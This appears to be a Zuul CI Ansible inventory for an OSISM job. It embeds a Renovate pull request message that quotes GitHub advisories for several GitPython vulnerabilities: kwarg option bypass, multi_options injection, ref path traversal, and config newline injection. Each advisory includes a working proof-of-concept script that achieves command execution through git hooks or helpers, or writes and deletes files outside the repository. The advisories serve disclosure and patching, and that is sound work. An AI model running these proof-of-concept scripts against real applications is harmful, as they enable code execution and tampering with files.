all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-bookworm:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fe0c:a9fb
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: 8dae75e9-7d51-4b7b-8914-48907484ac90
        host_id: df70f2a3f3d0c26428f22685cfc722ebc48099d99e7332c39e017195
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fe0c:a9fb
        label: debian-bookworm
        node_properties: {}
        private_ipv4: 10.128.7.11
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.193.200
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fe0c:a9fb
        region: null
        slot: null
  vars:
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job pulpfiction-metalbox explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/pulpfiction/.zuul.yaml@main#2>'
      - '<Job pulpfiction-metalbox explicit: None implied: None source: osism/pulpfiction/.zuul.yaml@main#7>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: b374ccea7e2346fa9f8cb5c36c6af5b0
      build_refs:
      - branch: main
        change: '10'
        change_message: "chore(deps): update dependency gitpython to v3.1.50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.44` \u2192 `==3.1.50` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.50?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.50?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
          / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
          out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis
          does not appear to affect every unsafe option. For example, `exec=` is already
          rejected because the raw kwarg name `exec` matches the blocked option name
          before normalization.\n\nExisting tests cover the hyphenated form, not the
          vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136`
          checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks
          `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\":
          ...}`\n\nThose tests correctly confirm the literal Git option names are
          blocked, but they do not exercise the normal Python kwarg spelling that
          bypasses the guard.\n\n##### PoC\n1. Create and activate a virtual environment
          in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip
          install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make
          a new python file and put the following in there, then run it:\n\n```python\nimport
          os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\n##### Setup: create isolated repositories
          so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin
          = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim
          = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper
          = os.path.join(base, \"wrapper.sh\")\n\n##### Setup: this wrapper is just
          to demo things you can do, not required for the exploit to work\n\n#####
          you could also do something like an SSH reverse shell, really anything\nwith
          open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n
          \ echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n
          \ printf 'argv='; printf '<%s>' \"$@&#8203;\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)='
          | sed 's/=.*$/=<redacted>/' || true\n}} > '{proof}'\nexec git-upload-pack
          \"$@&#8203;\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\",
          \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\",
          \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith
          open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\",
          \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n
          \   [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\",
          \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\",
          \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL,
          stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin,
          victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo
          = Repo(victim)\nremote = repo.remote(\"origin\")\n\n##### the literal Git
          option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\":
          wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n
          \   print(\"control=blocked\")\n\n##### this is the actual vulnerability\n\n#####
          you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just
          to show greater impact\n##### if you do the \"touch /tmp/proof\" the script
          will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n#####
          Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\",
          os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected
          result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists
          True ...`\n- The proof file contains evidence that the attacker-controlled
          helper executed as the local application account, including `id`, working
          directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython
          % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes)
          gid=20(staff) <redacted>\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin
          \ <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>\nargv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>\nUSER=<redacted>\nSSH_AUTH_SOCK=<redacted>\nPATH=<redacted>\nHOME=<redacted>\n```\n\nThis
          PoC does not require a malicious repository. The PoC uses that fresh blank
          repository. The only attacker-controlled input is the kwarg that GitPython
          turns into `--upload-pack`.\n\n##### Impact\nWho is impacted:\n- Web applications
          that let users configure repository import, sync, mirroring, fetch, pull,
          or push behavior\n- Systems that accept a user-provided dict of \"extra
          Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems,
          workers, automation bots, or internal tools that build GitPython calls from
          untrusted integration settings or job definitions (yaml, json, etc configs
          )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack`
          or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`,
          `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this
          could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud
          credentials available to the process\n- Modification of repositories, build
          outputs, or release artifacts\n- Lateral movement from CI/CD workers or
          automation hosts\n- Full compromise of the worker or service process handling
          repository operations\n\nThe highest-risk environments are network-reachable
          services and automation systems that expose these GitPython kwargs across
          a trust boundary while relying on the default unsafe-option guard for protection.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Unsafe option check validates multi_options before shlex.split
          transformation\n[CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)
          / [GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`_clone()` validates
          `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`.
          A string like `\"--branch main --config core.hooksPath=/x\"` passes validation
          (starts with `--branch`), but after split becomes `[\"--branch\", \"main\",
          \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes
          attacker hooks during clone.\n\n##### Details\n\nThe vulnerable code is
          in [`git/repo/base.py` line 1383](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti
          = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on
          the **original** list at [line 1390](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options,
          unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses
          the **transformed** result at [line 1392](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc
          = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py`
          line 959](https://redirect.github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959)
          uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option
          == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start
          with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes
          its own token and reaches git.\n\nAlso affects `Submodule.update()` via
          `clone_multi_options`.\n\n##### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0,
          str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom
          git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\",
          \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept
          UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block
          as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent
          / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR
          / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n
          \   r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\",
          \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\",
          \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook
          = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname
          >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload
          = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n
          \   Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept
          UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\");
          sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n
          \   subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST,
          capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook
          executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config',
          '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']:
          not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n#####
          Impact\n\nAny application passing user input to `multi_options` in `clone_from()`,
          `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config
          core.hooksPath=<dir>` inside a string starting with a safe option. Check
          does not block it. Git executes attacker code. Same class as CVE-2023-40267.\n\n####
          Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
          [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython reference APIs has a path traversal vulnerability that allows
          arbitrary file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
          / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
          in **GitPython** allows **attackers who can supply a crafted reference path
          to an application using GitPython** to **write, overwrite, move, or delete
          files outside the repository\u2019s `.git` directory** via **insufficient
          validation of reference paths in reference creation, rename, and delete
          operations**.\n\n---\n\n##### \U0001F4E6 Affected Versions\n\n* Affected:
          `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n#####
          \U0001F9E0 Details\n\n##### Vulnerability Type\n\n**Path Traversal leading
          to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n##### Root
          Cause\n\nReference paths are validated when they are resolved for reading,
          but are not consistently validated before filesystem write, rename, and
          delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects
          traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`,
          `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete`
          still construct filesystem paths from attacker-controlled ref names without
          enforcing repository boundaries.\n\n---\n\n##### Affected Code\n\n```python\ndef
          set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n
          \   assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n
          \   fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@&#8203;classmethod\ndef
          delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
          = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
          \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
          force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
          = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
          = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
          new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
          application-controlled input passed into GitPython reference APIs**\n\n#####
          Authentication Required\n\n**None at the library boundary. In practice,
          exploitation requires the ability to influence ref names supplied by the
          consuming application.**\n\n---\n\n##### \U0001F9EA Proof of Concept\n\n#####
          Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n#####
          Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git
          import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic
          import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n
          \   shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir
          / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
          = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
          ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
          \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
          \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
          exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
          outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
          \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists
          after delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
          \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
          = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
          outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete
          exists after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n#####
          What can an attacker do?\n\n* Create or overwrite files outside the repository
          metadata directory\n* Delete attacker-chosen files reachable from the process
          permissions\n* Corrupt application state or configuration files\n* Cause
          denial of service by deleting or overwriting important files\n\n---\n\n#####
          Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n*
          **Availability:** High\n\n---\n\n##### Who is affected?\n\n* Applications
          that expose GitPython reference operations to user-controlled input\n* Git
          automation services, repository management backends, CI/CD helpers, and
          developer platforms\n* Multi-user environments where one user can influence
          ref names processed on behalf of another workflow\n\n---\n\n##### \U0001F6E0\uFE0F
          Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo,
          path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
          \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
          \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
          \       raise ValueError(f\"Reference path escapes repository boundary:
          {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
          full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
          [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer().set_value() enables RCE
          via core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
          / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
          values to Python's `configparser` without validating for newlines. GitPython's
          own `_write()` converts embedded newlines into indented continuation lines
          (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
          stanza as a section header \u2014 so the injected `core.hooksPath` becomes
          effective configuration. Any Git operation that invokes hooks (commit, merge,
          checkout) will then execute scripts from the attacker-controlled path.\n\nThe
          vulnerability is not merely malformed config output: GitPython's own writer
          converts embedded newlines into indented continuation lines, but Git still
          accepts an indented `[core]` stanza as a section header, so the injected
          `core.hooksPath` becomes effective configuration.\n\nThis was found while
          auditing MLRun's `project.push()` method, which passes `author_name` and
          `author_email` directly to `config_writer().set_value()` with no sanitization.
          Both parameters cross a trust boundary \u2014 they are caller-supplied API
          inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
          git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
          as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
          = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
          capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
          \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
          \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
          0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
          \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
          is persistent repo config poisoning. Any user who can supply `author_name`
          or `author_email` to an application calling `config_writer().set_value()`
          can redirect Git hook execution to an arbitrary path. In a multi-user or
          hosted environment (e.g. a shared MLRun server where multiple users push
          to the same repositories), one user can poison the `.git/config` of a shared
          repo and have their hooks run in the context of every subsequent Git operation
          by any user. On single-user deployments, the impact depends on whether the
          application later invokes Git hooks automatically.\n\nRemediation: `set_value()`
          should raise on CR, LF, or NUL in values rather than silently pass them
          through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and
          re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config
          values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than
          stripping \u2014 a stripped newline might indicate the caller is passing
          unsanitized input at a higher level, and silent normalization masks that.\n\nAffected
          wherever `config_writer().set_value(section, key, user_input)` is called
          with external input.** GitPython is a dependency of DVC, MLflow, Kedro,
          and others \u2014 worth auditing their `set_value()` call sites for externally
          influenced inputs.\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
          String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
          [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Newline injection in config_writer() section parameter bypasses
          CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
          (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
          The section and option parameters are passed to configparser without any
          newline validation. An attacker who controls the section argument can inject
          \\n to write arbitrary section headers into .git/config, including a forged
          [core] section with hooksPath pointing to an attacker-controlled directory,
          leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py
          \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
          section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
          = self._value_to_string_safe(value)   # only value is validated\n      if
          not self.has_section(section):\n          self.add_section(section)                    #
          section not validated\n      super().set(section, option, value_str)          #
          option not validated\n      return self\n```\n\n_write() formats section
          headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes
          [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
          \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
          \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
          \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
          \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline
          into section parameter (not value \u2014 already patched)\n  with repo.config_writer()
          as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
          \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\",
          \"core.hooksPath\"],\n                     capture_output=True, text=True)\n
          \ print(r.stdout.strip())  # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\",
          \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n
          \ print(open(\"/tmp/rce_proof.txt\").read())  # \u2192 uid=1000(...) RCE
          confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via
          core.hooksPath injection). The patch is incomplete \u2014 only value is
          validated while section and option remain injectable.\n\n#### Severity\n-
          CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
          [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
          [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
